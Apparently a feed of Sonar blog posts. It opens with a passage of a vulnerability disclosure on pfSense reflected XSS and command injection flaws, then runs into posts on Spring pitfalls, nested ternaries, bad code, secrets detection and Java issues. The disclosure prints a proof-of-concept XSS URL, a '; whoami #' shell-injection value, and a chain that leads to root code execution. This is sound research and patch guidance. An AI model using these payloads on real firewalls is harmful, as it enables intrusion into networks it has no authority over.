In this section, we first give a quick refresher on taint analysis, the technology that SonarCloud used to discover all three vulnerabilities. Then we explain the details and the taint flow for two of the three vulnerabilities:
Reflected XSS (CVE-2023-42325): An unencoded filter string is reflected into a script tag.
Command Injection (CVE-2023-42326): Unescaped user input is used inside a management shell command.
The second Reflected XSS vulnerability (CVE-2023-42327) is similar to the first one, so we won't cover it in this post.
Taint analysis
SonarCloud found the vulnerability using taint analysis. This type of static analysis tracks data flow from user-controllable data sources to dangerous sinks.
In the case of PHP, the sources include all data from a web request like URL parameters, the request body, cookies, and other headers. The taint flow from these sources is tracked through variables in the code, across several files. If the user-controllable data is validated, properly sanitized, or encoded during the flow, the flow is no longer tracked to ensure fewer false positive findings. Dangerous sinks include functions that invoke system commands, the reflection of data into the HTML page returned by the server, or other sensitive functions.
If SonarCloud finds a taint flow from source to sink, an issue is raised. The SonarCloud UI displays the discovered taint so that developers can easily understand and fix the issue. These features also helped us to quickly discover and verify the three reported vulnerabilities in pfSense.
Reflected XSS (CVE-2023-42325)
One of the vulnerabilities discovered by SonarCloud was an XSS vulnerability on the status_logs_filter_dynamic.php page of the pfSense web GUI. This page provides a filterable live view of the firewall logs of pfSense. The filter selected by the user is sent as part of the URL query string to the pfSense server. To make the logs live, some JavaScript code in the page requests the newest filtered log entries every 30 seconds. These requests have to use the same filter as the original request. So the corresponding query string is constructed by server-side PHP code and reflected in the script tag.

The SonarCloud analysis found that there is a taint flow where parts of the reflected query string are user-controllable. Let's look into that flow to confirm this potential vulnerability. The numbered steps of the taint flow are marked in brackets.

View pfSense XSS issue on SonarCloud

First, a URL query parameter is returned by the utility function getGETPOSTsettingvalue in guiconfig.inc. SonarCloud detects the source array $_GET as tainted because the URL query parameters are user-controllable [1-3]. From here on, operation results containing the tainted return value of the function are also tainted.
The getGETPOSTsettingvalue function is used to set the $interfacefilter global variable [4-5]. This variable usually contains a filter string to filter the firewall logs. But the taint flow going through here shows that it can also contain attacker-controlled malicious values.
Following the taint flow to the end, we see that the value of $interfacefilter is concatenated without encoding into $filter_query_string. $filter_query_string in turn is reflected on the page inside a script block as a JavaScript string, leading to the XSS vulnerability. SonarCloud correctly reports this taint flow as vulnerable, as no encoding or sanitization was used that would make the reflection harmless. Note that another variable $filtertext is also concatenated and encoded using json_encode() [8], suggesting that encoding for $interfacefilter was simply forgotten.
An attacker could exploit this reflected XSS vulnerability by terminating the JS string and inserting their own code afterward. Leftover parts of the string after the injection point of the interface query parameter can be commented out. 
/status_logs_filter_dynamic.php?filtersubmit=1&interface=foo";alert(origin)//

var filter_query_string = "";

var filter_query_string = "type=raw&filter=&interfacefilter=foo";alert(origin) //&logfile=/var/log/filter.log&nentries=500";"
The attacker could then send a link with this crafted query parameter to an authenticated user of pfSense. After the victim clicks on the link, the JavaScript payload gets executed in the victim's browser and can perform actions in the pfSense firewall with the victim's permissions.

If the victim is an administrator of pfSense, the attacker can use that privilege to access the diag_command.php page. This page allows pfSense admins to execute arbitrary system commands on the pfSense firewall appliance.
So if an administrator user is targeted, the attacker could gain remote code execution (RCE) capabilities as root on the appliance. With RCE capabilities, the attacker can manipulate the firewall, spy on local network traffic, or attack services inside the local network.

But what if the victim of the XSS attack does not use the administrator account, out of caution or in a multi-user scenario? Is the RCE attack thwarted in that scenario? Unfortunately no, as we discovered a Command Injection vulnerability that also gives an attacker remote code execution capabilities while targeting a low-privilege pfSense user.
Command Injection (CVE-2023-42326)
A key feature of the pfSense web UI is the network interfaces’ configuration of the server. The pfSense server code implements this by constructing shell command strings to call standard Linux binaries like ifconfig. The arguments in these shell commands are often taken from the configuration provided by the user, for example, the name of a network interface. This approach is vulnerable to Command Injection if the inserted arguments are not correctly validated or escaped.

SonarCloud found two similar vulnerable taint flows on the interfaces_gif_edit.php and interfaces_gre_edit.php pages. These flows started with user-controllable HTTP POST request data and ended in the exec() function, which executes shell commands without any validation or escaping of the data in between. We'll describe the first of the two taint flows, as they are almost identical.

View pfSense Command Injection issue on SonarCloud
On the interfaces_gif_edit.php page, a new Generic tunneling InterFace (GIF) can be created or an existing one edited. When a user creates a new GIF, all submitted form parameters like IP addresses (remote-addr) and the used network interface (if) are validated to contain expected, safe values. When editing an existing GIF, a hidden input element is inserted into the HTML form that holds the gifif form parameter. This parameter contains the name of the edited GIF. In both cases, all form parameters are passed as an array to the interface_gif_configure() function. Note that the gifif parameter was not validated at this point.
if (!$input_errors) {
    $gif = array();
    list($gif['if'], $gif['ipaddr']) = explode("|", $_POST['if']);
    // ...
    $gif['remote-addr'] = $_POST['remote-addr'];
    // ...
    $gif['gifif'] = $_POST['gifif'];
    $gif['gifif'] = interface_gif_configure($gif); // <--- HERE
src/usr/local/www/interfaces_gif_edit.php
The function interface_gif_configure() in the interfaces.inc file creates a new GIF or recreates the specified GIF using the supplied $gif array parameter. This is achieved by calling ifconfig and other shell commands with the mwexec() util function, which is just a thin wrapper around exec(). escapeshellarg() is used in an attempt to securely construct the shell command, but the function is only used on variables that are believed to be user-controllable, like $gif['remote-addr']. The $gif['gifif'] variable should contain the name of an already existing GIF that is recreated. So it is assumed that the value is safe and does not need to be escaped. But this assumption is wrong, as shown by the taint flow. $gif['gifif'] is completely user-controllable, leading to a Command Injection vulnerability.
if (platform_booting() || !(empty($gif['gifif']))) {
    pfSense_interface_destroy($gif['gifif']);
    pfSense_interface_create2($gif['gifif']);
    $gifif = $gif['gifif'];
} else {
    $gifif = pfSense_interface_create2("gif");
}
// ...
mwexec("/sbin/ifconfig {$gifif} tunnel {$realifip} " .  escapeshellarg($gif['remote-addr']));
src/etc/inc/interfaces.inc
An attacker could exploit this vulnerability by inserting a semicolon to start a new shell command and commenting out the unwanted rest of the original command with a hashtag. Because the pfSense process runs as root to be able to change networking settings, the attacker can execute arbitrary system commands as root using this attack. The attacker needs access to a user account with permission to access the interface_gif_edit.php/interface_gre_edit.php page, which can be done with the previously shown XSS vulnerability.
; whoami #

mwexec("/sbin/ifconfig {$gifif} tunnel {$realifip} " .  escapeshellarg($gif['remote-addr']));

/sbin/ifconfig ; whoami # tunnel 192.168.0.3 1.2.3.4
pfSense Vulnerabilities Patches
Reflected XSS and Command Injection are both Injection vulnerabilities. To patch Injection vulnerabilities, it is necessary to encode/escape all inserted data for the context it is inserted into. We thank the Netgate team, who swiftly responded with patch commits:

In the Reflected XSS case on the status_logs_filter_dynamic.php page, the injection context is a JavaScript string. The pfSense maintainers at Netgate patched the security vulnerability by using the json_encode() and urlencode() functions, which were already used on neighboring variables.
if ($filtersubmit) {	# Raw mode.
-  $filter_query_string = "type=raw&filter=" . urlencode(json_encode($filtertext )) . "&interfacefilter=" . $interfacefilter;
+  $filter_query_string = "type=raw&filter=" . urlencode(json_encode($filtertext)) . "&interfacefilter=" . urlencode(json_encode($interfacefilter));
}
...
?>
var filter_query_string = "";
pfsense/pfsense: f387c97
While json_encode() eliminates all ways for injected values to escape the string context here, the function is intended for encoding JSON, which is different from a JavaScript string inside a script block. In general, injections can still be possible if the wrong encoding function is used. To aid developers in choosing the right fix, each SonarCloud issue has a "How to fix it?" tab. Looking at the tab for this issue, we see that the recommendation for reflected contents inside a script block is to use a data attribute. With an attribute, the context is HTML, and the htmlentities() function can be used safely. Unfortunately, there is no PHP function that makes reflecting user input inside script blocks completely safe in all cases, so this approach should be used instead.
For the Command Injection vulnerability, the injection context is a shell command. The maintainers used the escapeshellarg() function to patch the security vulnerability, which was also already used on neighboring variables. The function wraps its input argument in single quotes and escapes single quotes already present in the input. The shell will take everything wrapped in single quotes as a singular string argument to the current command, which prevents injected values from executing additional malicious commands.
- mwexec("/sbin/ifconfig {$gifif} tunnel {$realifip} " . escapeshellarg($gif['remote-addr']));
+ mwexec("/sbin/ifconfig " . escapeshellarg($gifif) . " tunnel " . escapeshellarg($realifip) . " " . escapeshellarg($gif['remote-addr']));
pfsense/pfsense: d69d6c8
Additionally, the patch checks if the user input starts with a safe prefix to avoid an Argument Injection vulnerability. If the input starts with a dash or two dashes and is used as an argument in the shell command, most programs would parse that as an option. This can have a serious impact as we have shown in past publications.
+ if (empty($_POST['gifif']) ||
+   preg_match("/^gif[0-9]+$/", $_POST['gifif'])) {
+     /* Attempt initial configuration of the GIF if the
+     * submitted interface is empty or looks like a GIF
+     * interface. */
+     $gif['gifif'] = $_POST['gifif'];
+     $gif['gifif'] = interface_gif_configure($gif);
+ } else {
+     $input_errors[] = gettext("Invalid GIF interface.");
+ }
pfsense/pfsense: d69d6c8
In both cases, encoding/escaping was already used, just not on every variable interpolated into a dangerous context. The wrong assumptions about which variables are user-controllable then lead to the shown vulnerabilities. That is why we recommend encoding/escaping all variables regardless of source, as there is usually no harm in doing so. This approach also hardens your code against future changes or bugs elsewhere in the codebase, contributing to a Clean Code state.
Timeline

  Date Action
  2023-07-03 We report all issues to Netgate
  2023-07-05 Netgate acknowledges all issues and publishes patch commits
  2023-10-31 Netgate publishes advisories for all issues
  2023-11-06 Netgate releases patched version pfSense Plus 23.09
  2023-11-16 Netgate releases patched version pfSense CE 2.7.1
pfSense Vulnerabilities Summary
This blog post showcased two of the three security vulnerabilities SonarCloud discovered in pfSense. The vulnerable code samples highlighted that it is not easy for developers to remember encoding every user-controllable value in sensitive contexts, especially in large codebases. SonarCloud can help developers keep their code clean by finding injection and other vulnerabilities, all before the vulnerabilities make it into production.
Related Blog Posts
Unzipping Dangers: OpenRefine Zip Slip Vulnerability
Pimcore: One click, two security vulnerabilities
OpenEMR - Remote Code Execution in your Healthcare System
Cacti: Unauthenticated Remote Code Execution




Spring framework pitfalls
Jonathan Vila — Sun, 10 Dec 2023 23:00:00 GMT
Spring is a famous framework, used in more than 60% of applications nowadays, which makes it easy to create stand-alone, production-grade applications.
It introduces tons of new classes, interfaces, and APIs in order to help in the development, that a developer needs to learn and use. In the process of coding with Spring Boot, new bugs, misconfigurations, and security issues can be introduced that will impact the code quality of our applications.
With several rules covering Spring, Sonar can help detect those issues giving consistency across the changes introduced as part of the lifecycle of our applications. Let’s see some of the most important Spring Boot issues detected by Sonar analyzers.
Spring framework pitfalls
In this article, we are going to focus on 3 important points when we code using Spring framework: transactional operations, persistent entities, and bean definitions.
Transactional Operations
All the database operations need to be committed, to become available to other connections. So, for every operation done to the database, the process is to open a transaction, change the data, commit the transaction, or if anything fails rollback the transaction.
Spring helps by allowing us to annotate methods with @Transactional which creates proxies behind the scenes to generate code running as part of our code, in order to handle those transactions for us.
But you can have chains of method calls, where an operation consists of several changes to the database, and those changes are split into several methods for clarity. There’s when Transaction propagation takes place.
Usually, we will have the entry point method with the @Transactional annotation, starting the transaction, and the rest of the methods in the call chain will not specify the annotation, allowing the first method to do the whole commit. That’s the REQUIRED default propagation method. If there’s no transaction running it will create one.
But, you can say, sometimes reality is more complex and I have methods that are part of different operations, and sometimes my method can be the only operation to be done in a transaction. 
In these chains of calls, it’s a requirement to keep compatible transaction propagation. 
However, it is important to keep in mind that Spring will not consider the transaction specifications on self-invocation. That means when you call a method from another method in the same class, Spring will use the “this” approach to refer to the receiver method, so the code Spring generates as a proxy to handle transactions will not be executed.
public class ABHandler  {
  public void saveAB(A a, B b) {
      saveA(a);
      saveB(b);
  }

  @Transactional
  public void saveA(A a) {
       dao.saveA(a);
  }

  @Transactional
  public void saveB(B b) {
       dao.saveB(b);
  }
}

public class GlobalHandler {
  public void save(A a, B b) {
    ABHandler abHandler = new ABHandler();
    abHandler.saveAB(a, b); // Non compliant
    abHandler.saveA(a);
}
In this code, on the call to saveAB from the object GlobalHandler is reaching a method without transactionality enabled, and then it self-invokes method saveA with a @Transactional specified. As we learned before, this call from saveAB to saveA is not going to use the proxies Spring has generated, therefore no transaction will be created. 
In order to avoid this, we should specify the transactionality in the method saveAB to ensure that the transaction is created and managed.
public class ABHandler  {
  @Transactional
  public void saveAB(A a, B b) {
      saveA(a);
      saveB(b);
  }

  @Transactional
  public void saveA(A a) {
       dao.saveA(a);
  }

  @Transactional
  public void saveB(B b) {
       dao.saveB(b);
  }
}

public class GlobalHandler {
  public void save(A a, B b) {
    ABHandler abHandler = new ABHandler();
    abHandler.saveAB(a, b); 
    abHandler.saveA(a);
}
Sonar has a rule that detects these issues and can save you from incompatible transaction propagation.
Persistent entities
One of the benefits of using frameworks like Spring Boot is the ease of interacting with the persistence layer. 
In order to use typed objects and properties, Java provides the @Entity annotation to represent a relational table and Spring provides the @Document annotation to represent MongoDB and ElasticSearch documents. In all these cases Spring will use the information in the element and create a bridge between the object domain and the database one.
@Entity
public class Wish {
  Long productId;
  Long quantity;
  User user;
  Client client;
}
It’s important to understand that these objects represent data objects with a direct conversion to the stored element in the database. Therefore all the fields carried by the object will be saved in the database.
Spring also provides methods to generate REST API services that will be executed when the user makes an HTTP request to that server. These methods also allow the use of entities/documents as arguments that Spring will map from the request payload.
@Controller
public class PurchaseOrderController {
  @RequestMapping(path = "/saveForLater", method = RequestMethod.POST)

  public String saveForLater(Wish wish) { // Noncompliant
    session.save(wish);
  }
}
In this case, we have a situation where an attacker can send requests with information in unexpected fields that, in case of using directly those entities, will reach our database. In our example, an attacker could send information about an impersonated User, for example.
This is why it is always encouraged to use DTO objects that will be used to translate the information coming from the user into the database Entity/Document considering only the required information and even doing a sanitizing process on the translation. 
public class WishDTO {
  Long productId;
  Long quantity;
  Long clientId;
}

@Controller
public class PurchaseOrderController {
  @RequestMapping(path = "/saveForLater", method = RequestMethod.POST)

  public String saveForLater(WishDTO wish) {
    Wish persistentWish = new Wish();
    persistentWish.productId = wish.productId;
    persistentWish.quantity = wish.quantity;
    persistentWish.client = getClientById(wish.clientId);
    persistentWish.user = getUserFromSession();
    session.save(persistentWish);
  }
}
Sonar's rule prevents you from using a persistent entity as an argument of @RequestMapping methods.
Bean definitions
We can agree that one of the main powers of using Spring is the Dependency Injection allowing the user to define beans that will be injected into other objects and their lifespan. With this feature classes only need to know what their dependencies are but not about how and when they have to be instantiated and deleted.
Spring comes also with a great bean discovery mechanism, that will scan our source code packages searching for bean definitions, and the Spring context will instantiate them according to the configuration (lazy, eager).
But, as you can imagine, with great power comes great responsibility. The scanning mechanism can impact the performance of our application and even produce runtime errors that are hard to spot during the coding phase.
If we define the start scan point in the default package, that is without specifying the package in the class that is used as @SpringBootApplication or @ComponentScan or setting explicitly the default package to the ComponentScan annotation, Spring will scan the entire classpath leading to a long start-up time and very likely runtime errors as Spring classes will be scanned too.
import org.springframework.boot.SpringApplication;

@SpringBootApplication // Noncompliant default package

public class RootBootApp {
}

@ComponentScan("")
public class Application {

}
You should always have a package in your application as the starting point of the bean scan for Spring.
package com.mycompany.myproject;

import org.springframework.boot.SpringApplication;

@SpringBootApplication
public class RootBootApp {

}

@ComponentScan("com.mycompay.myproject")
public class Application {

}
The Sonar rule ensures that you don't use @SpringBootApplication and @ComponentScan on the default project.

On the consumer side of those beans, Spring offers, with its Dependency Injection framework, a powerful injection mechanism that makes very easy-to-use instances of beans, with specific life scopes, without having to worry about when and where those beans have been created or deleted.
These beans can be easily injected into your classes using the @Autowired annotation. But in the case where you have dependency chains between beans, the injection could be done way before it is needed impacting the performance of your application.
@Configuration
public class FooConfiguration {

  @Autowired
  private DataSource dataSource;  // Noncompliant, early injection

  @Bean
  public MyService myService() {
    return new MyService(this.dataSource);
  }

}
In order to avoid this the injection should be requested as late as possible, only when it’s needed. In order to accomplish this, parameter injection should be used instead of @Autowired, telling Spring that the bean needs to be created just before the creation of the dependent bean. This way you won’t have beans running before they are needed.
@Configuration
public class FooConfiguration {

 @Bean
  public MyService myService(DataSource dataSource) {
    return new MyService(dataSource);
  }

}
This Sonar rule ensures that beans are only instantiated when they are needed by using parameter injection instead of @Autowired for dependent beans.
Conclusions
Spring offers several features in order to help development, but all this power comes with complex configurations in order to cover all the different usages. 
It’s important to understand the Spring limitations and the pitfalls in order to get the best value out of it, but it’s not always easy to spot the code that can cause a huge impact on performance and stability.
Sonar tools offer several rules that will cover and spot these issues, warning you while coding using your preferred IDE, or checking the code base during the CI/CD pipeline and making the Quality Gate fail, preventing that code from being merged in your repository. 




Stop nesting ternaries in JavaScript
Phil Nash — Thu, 07 Dec 2023 07:00:00 GMT
Prettier, the most popular JavaScript code formatter, recently released a novel way to format nested ternaries under an experimental flag. This has come after years of disagreement over the best and most readable way to format a nested ternary.
I have a better idea of how to make nested ternaries clearer: stop nesting them.
What do you mean by nested ternary?
The ternary operator is an alternative to if/else for making decisions based on a condition. A regular ternary expression looks like:
const animalName = pet.canBark() ? "dog" : "cat";
A nested ternary is where you enter further ternary expressions in either the true or false branch.
const animalName =
  pet.canBark() ?
    pet.isScary() ?
      'wolf'
    : 'dog'
  : pet.canMeow() ? 'cat'
  : 'probably a bunny';
Let's take a look at why this isn't good practice.
Why nested ternaries are bad
I appreciate Prettier and all it has done to help us write consistently-formatted code. The project is opinionated, which prevents bike-shedding and lets us get on with the more important work of building projects. It promotes consistency, one of the four properties of Clean Code.  The least you can do if you are going to nest ternaries is to format them in a consistent manner.

I love that the Prettier project is working on making this better for all code, including nested ternaries. But looking over the hundreds of comments on how Prettier should format nested ternaries, I can't help but think that there will never be consensus on this topic.

Furthermore, another property of Clean Code is intentionality; code should be clear and straightforward. Nested ternaries are rarely clear or straightforward; I personally find them much harder to read and understand than other forms of conditionals.

We read code many more times than we write it, so it should be as easy to parse in one's head as possible. Picking your way through question marks and colons to determine what an expression means is much less clear than reading if/else statements that spell it out for you.

It's not just me who believes this; Sonar does not believe that nested ternaries are clear and straightforward, either. SonarQube, SonarCloud and SonarLint all enforce the rule that ternary operators should not be nested as part of the Sonar way profile.
Clearer ways
So, what do we replace a nested ternary with? Let's take the example nested ternary from Prettier's example and rewrite it a few different ways. Their example code, in their new format, is:
const animalName =
  pet.canBark() ?
    pet.isScary() ?
      'wolf'
    : 'dog'
  : pet.canMeow() ? 'cat'
  : 'probably a bunny';
Nested conditionals
The easiest way to replace a nested ternary is by turning them into a conditional
let animalName = 'probably a bunny';
if (pet.canBark()) {
  if (pet.isScary()) {
    animalName = 'wolf';
  } else {
    animalName = 'dog';
  }
} else if (pet.canMeow()) {
  animalName = 'cat';
}
In this example, we set up a variable that we will assign within the conditional statements. We can start the variable off with its default value, saving one else clause. Then, we apply the same logic as in the original example but with if/else blocks.

One of the issues that some developers have with this style is the use of the let variable. The ternary operator does have the benefit that it is an expression; that is, it returns a value. Meanwhile, if/else statements do not return anything, you need to either mutate a variable or use return.

If using a variable doesn't feel right, you can refactor the statement into its own function and use early returns.
function animalName(pet) {
  if (pet.canBark()) {
    if (pet.isScary()) {
      return "wolf";
    }
    return "dog";
  } else if (pet.canMeow()) {
    return "cat";
  }
  return "probably a bunny";
}
When you refactor the behaviour into its own function, you can independently test the functionality, ensuring that it is correct and cannot be broken unintentionally. And you can drop the extra variable assignment.
Reduce the nesting
The real issue in the code lies in the nesting itself. Nesting is one feature that makes code more complex.

In this example, we can refactor the nesting out to make this function easier to understand:
function animalName(pet) {
  if (pet.canBark() && pet.isScary()) { return "wolf"; }
  if (pet.canBark()) return "dog";
  if (pet.canMeow()) return "cat";
  return "probably a bunny";
}
Now, the function is clearer and uses fewer lines than the nested ternary we started with.

I like that this is a separate function that you can write tests for. But if it is important to you to include this behaviour in its original location, you can do so as an IIFE (instantly invoked function expression):
const animalName = (() => {
  if (pet.canBark() && pet.isScary()) { return "wolf"; }
  if (pet.canBark()) return "dog";
  if (pet.canMeow()) return "cat";
  return "probably a bunny";
})();
Personally, I like extracting the code to a separate function for the reasons I described above, plus I think the IIFE adds extra clutter. You may disagree, in which case the IIFE is an option.
In praise of nested ternaries?
Eric Elliott wrote in favour of nested ternaries, calling them "chained ternaries" once you perform operations on the conditions to ensure you only ever chain in the else clause of the ternary. His points about the difference between statements and expressions are good, and we should avoid side effects and mutation where we can, and expressions allow for that.

His first argument is that if/else statements permit you to write code that causes side effects. However, once you have reduced a conditional to code that you can write as a nested ternary, you can also avoid side effects and mutation by rewriting it as a function with returns, as we did above. On the other hand, you can absolutely write mutations and side effects within a ternary, so it seems to be a moot point to me.

His second argument is that the syntax of an if/else statement is clutter that takes up working memory, causes interference and leaves a greater surface area for bugs. For me, parsing a ternary requires me to come up with the syntax in my head, so even if the file doesn't say "if" and "else", my understanding of a ternary requires that. The idea that changing ifs and elses to question marks and colons gives you less surface area for bugs is a bit far-fetched for me. I'm not going to argue that using if/else statements will help you write more correct code and I discount that using fewer characters will achieve that either. I contend that if/else statements make the code clearer and easier to understand. And, for me personally, the effort of understanding and translating the ternary syntax actually increases my likelihood of introducing bugs during maintenance.
Is there any place for nested ternaries?
Those of you using JSX might well be fuming by this point.

There are no if/else statements in JSX, so you need to use the ternary operator to make decisions. It is then common to nest those operations when rendering components conditionally and including conditional attributes in code like this:
return (
  <>
    {isLoading ? (
      
    ) : (
      
        {isEditing ? 'Close now' : 'Start now'}
         !saving) : null} />
      
    )}
  
);
Of course, nested ternaries are necessary in JSX, so the above code is perfectly reasonable. My recommendation is still to minimise the nesting as best as you can. It's also worth noting that the Sonar rule for nested ternaries does not apply to JSX.
Minimise nesting and prioritise clarity over brevity
Nesting in code introduces complexity, so the first thing you should do when you find yourself with a nested ternary is to try to refactor to reduce the nesting as much as possible. Then, you can use any of the patterns above to remove the nested ternaries.

The one thing you can say about any of the alternatives above is that they all use more characters and involve more typing than the ternary-based solution. However, as I asserted earlier, code is read much more often than written.

The Prettier blog post describes if/else statements as "ugly", but I will always prefer ugly, understandable code over picking apart the question marks and colons in a nested ternary.

When you are intentional with your code and choose to minimise nesting and use fewer ternary operators, you will find your code is clearer and easier to understand and change over time. 

If you'd like a tool in your IDE to remind you of this as you type, install SonarLint for free. And if you're not already formatting your code, add Prettier to your project, too. Because if you do have nested ternaries, formatting them might improve the clarity of your code until you get around to refactoring them.


Unraveling the Costs of Bad Code in Software Development
Liz Ryan — Tue, 05 Dec 2023 14:00:00 GMT
Since the birth of computer software, the costs associated with correcting its issues have been studied. From Barry Boehm’s 1981 study that found that finding and fixing a software issue after delivery can be 100 times more expensive than addressing it earlier, to over 20 years later, when The National Institue of Standards & Technology (NIST) said it can cost 30 times more after delivery, the costs of this ‘bad code’ continue to challenge the software industry. Code is written by humans, after all, and humans make mistakes.

There are also countless examples of the costs of bad code throughout recent history. Not only does it cost companies millions of dollars, but countless hours of lost time, productivity, and brand reputation too. As we explore the consequences of bad code, the layers that underpin the codebases of software that shape our digital world come into focus. The reasons that bad code exists everywhere are just as complex as the evolving landscape of software development.
What is Bad Code?

Bad code stifles software functionality. It isn't just about syntax errors or small bugs; it goes deeper, encompassing a range of issues that impede software’s readability, maintainability, and scalability. It's code that's complicated, poorly structured, or lacks documentation. Bad code can also manifest as overly complex solutions to simple problems, code duplication, or excessive dependencies.

The origins of bad code are diverse, stemming from the pressures of fast-paced deadlines, a lack of coding knowledge, manual issue remediation, inconsistent coding styles, and the unrelenting demands that outpace software performance. Even the advent of AI coding assistants, while promising efficiency, introduces its own set of challenges, including buggy and insecure code.
Bad code’s far-reaching impact

The repercussions of bad code extend far beyond the lines written on a screen. It affects the entire development cycle:

Reduced Maintainability and Scalability: Bad code tends to be difficult to understand. As a result, maintaining, extending, or modifying it becomes an arduous task. It lacks scalability, making it challenging to adapt to changing business needs or incorporate new features. 
Increased Bug Count and Technical Debt: Bad code is a breeding ground for bugs. It harbors hidden issues that surface unexpectedly, leading to system failures or malfunctions. The accumulation of unresolved issues creates technical debt, requiring more effort and resources to rectify over time.
Decreased Productivity and Efficiency: Developers spend a considerable amount of time deciphering and fixing bad code. This reduces their productivity, preventing them from focusing on innovation or creating new functionalities. As a result, the entire development process slows, causing missed deadlines and stalling project progress.
Increased Costs and Risks: The impacts of bad code accumulate over time, resulting in increased costs for software maintenance, bug fixing, potential rework, and addressing technical debt. Moreover, bad code poses risks to the reliability, security, and stability of the software, potentially leading to reputation damage or compliance issues.

Addressing bad code promptly through refactoring, code reviews, and adherence to coding standards can mitigate these impacts, fostering a healthier development environment and enhancing the overall quality of software products.
The Quest for Perfection

In the realm of software development, perfection might seem elusive. But the pursuit of cleaner, more efficient code is an ongoing journey. It requires diligence, collaboration, and a commitment to continuous improvement.

By acknowledging the existence of bad code and implementing proactive measures to mitigate its impact, developers and organizations can steer software toward success. After all, the true beauty of code lies not just in its functionality but also in its elegance and maintainability.

Want to learn more about how to overcome the costs of bad code? Check out the white paper here. 




Secrets Detection
Alexandre Gigleux — Wed, 29 Nov 2023 23:00:00 GMT
Why should I care if secrets are in my code?

Secrets, such as passwords, API keys, and tokens, are sensitive pieces of information that grant access to databases, services, and applications. They are like the keys to your house that you want to protect and keep safe. If these secrets are accidentally exposed in your code (main sources, tests, IaC, config, scripts, …), they can be obtained and used by malicious users. This could lead to unauthorized access, data breaches, and other security incidents.

For instance, if an API key is exposed in source code, it could be used to access the API, potentially leading to data theft, service disruption, or even financial loss if the API is tied to a paid service.

You certainly heard about what happened to Uber in 2016 when it experienced a data breach that exposed the personal information of 57 million users and drivers. The breach occurred because an access key was publicly exposed on GitHub, allowing hackers to access Uber's user data stored on Amazon Web Services.

That’s why it's crucial for developers to handle secrets carefully. They should never be hard-coded into source code or committed to version control systems. Instead, they should be stored securely using secret management tools and accessed through secure methods, such as environment variables.

How can Sonar help with secrets detection?

At Sonar, we believe in empowering developers to write Clean Code. Clean Code is code that is consistent, intentional, responsible, and adaptable. As part of our mission, we want to help you keep your secrets away from your source code. That way, you will be developing responsible code. Out of the box, the Sonar solution provides secrets detection features that will help detect if you are about to leak or if you have leaked a secret.

Sonar helps detect secrets from within the IDE through to your Continuous Integration (CI) pipeline

In the IDE, with SonarLint, as you are developing code and you accidentally write or paste into your code a string that looks like a secret, one of the 110 secret patterns supported by our 60 secret rules will be triggered. Following a true shift-left approach, you are warned before you push your code to your Git repository. It’s great and no one will even know that you were about to make a huge mistake.

Also, if you don’t use SonarLint (why wouldn’t you do it?) or if you decide to ignore its warnings, you will get the same detection capabilities as part of your code branch and pull request analysis in SonarQube and SonarCloud.

Sonar’s secrets detection is open-source

This feature is provided by a new open-source secret detection engine developed by Sonar. What is good with open-source is that you can see how it’s done, and contribute. We provide the definition of all our 110 secret patterns and a guide to explain to our community to contribute. This way, we expect this number of secret patterns to grow a lot during the coming months thanks to our awesome community. You don’t need to know any programming languages, it’s a fully YAML-based configuration.

Sonar’s secrets detection is ready for enterprise needs

For people who develop their own internal APIs and have to manage their own in-house secrets, there is no way for us at Sonar to know the format of these secrets. This is why, the SonarQube Enterprise Edition (and higher) provides the possibility to define your own secret patterns. This means you can make sure none of your internal secrets are leaking even internally to prevent attack from the inside. If you want to know more about how to add your own secret patterns, check the related documentation.

Let’s try secrets detection!

Ready to start the journey and prevent secrets from leaking? Install the latest version of SonarLint for your favorite IDE, upgrade your SonarQube instance to v10.3, or simply check out SonarQube or SonarCloud.

Alex




Sonar is “On the Radar”: New Omdia Report 
Katie Hyman — Tue, 28 Nov 2023 23:00:00 GMT
New today, Omdia — an analyst firm that provides decades of industry experience, world-class research and consultancy, and actionable insights in over 200 markets — has published research about Sonar, our solutions, and recent innovations of deeper SAST and zero-configuration automatic analysis for C/C++. The research digs into why Sonar should be on your radar and also takes a look at the market view as well as from a current positioning. 

The paper “On the Radar: Sonar adds “deeper” SAST and zero-configuration C/C++ analysis” is available to read now, but here’s a preview of the research details:
Summary
Catalyst
Sonar provides code analysis technology that helps developers and development teams to manage the quality and security of their software. It brings these two dimensions together in the term “Clean Code,” which Sonar defines as code that is consistent, intentional, adaptable, and responsible, and it offers its technology as a software as a service (SaaS) or as a self-managed platform, with open source and commercial options.

Recently, Sonar has added two significant innovations to its offering. First, it now has an enhanced static analysis capability, described as “deeper” static application security testing (SAST) to discover and fix hidden security issues in user code arising from interactions between the code and third-party libraries. Second, it has the ability to perform zero-configuration, automatic analysis of C and C++ projects independent of what compiler the developer is using. The company also has automatic analysis for 20 other languages, including Java, JavaScript, and Python.
Omdia view
Digital transformation projects have been underway in many organizations for a number of years, and were turbocharged by the recent COVID-19 pandemic when online and mobile channels became the only modes of interaction with customers, citizens, partners, and employees in large swathes of the globe. That process of transformation is, of course, underpinned by applications, and the resulting boom in app development has created a security challenge in the form of an expanded attack surface for many entities, as explained below.

A cornerstone of Sonar’s offering is that code quality and security can and should be addressed together and at the same time; this differs from other approaches, which focus on one or the other dimension. Sonar believes that in order to achieve the best security posture, organizations should address the characteristics of code holistically, from the moment it is developed. In other words, the operating approach should be quality by design and, at the same time, security by design. Provided the company can articulate this difference clearly, as well as the benefits it brings, Omdia sees clear business opportunities for the vendor in this burgeoning market.

For more information about Sonar’s solutions, view the product pages for SonarLint, SonarQube, and SonarCloud. 




Top issues in Java projects
Jonathan Vila — Mon, 20 Nov 2023 23:00:00 GMT
We know that having clean code in our projects is important, and every developer would agree on that. But, according to what SonarLint telemetry shows, there are still lots of issues that appear in the huge list of analyzed projects. 

We have taken the top most common issues happening in Java projects, from the +600 rules covering the language, considering quality and security to see how we can avoid them and align our code a bit more towards having a consistent, intentional, adaptable, and responsible code.

Although some issues may seem trivial, they can have a huge impact on the software delivered in terms of security, performance, and maintenance. Most of these issues are easy to follow, so it shouldn’t be an issue to not implement them, considering the huge benefit of it and the low effort to put in.
The top most common issues
1. Code commented out
 Code commented out should be removed as it is making readability harder, and in case the code is needed again it can be retrieved from the version control system. 
It also introduces uncertainty to the reader, as it is not clear if the code was commented out temporarily and needed to be uncommented again or simply it should have been removed.
public void println(String x) {
   if (getClass() == PrintStream.class) {
       writeln(String.valueOf(x));
   } else {
       synchronized (this) {
           print(x);
           //newLine();
       }
   }
}
Hint: check the commented-out code and remove it if it no longer applies to the submitted feature or uncomment it if it was a temporary disabling.
Sonar rule
2. Track uses of "TODO" tags
 Leaving TODO comments in the source code, which most likely will survive eons, leads to code that is not complete and that can impact several areas.
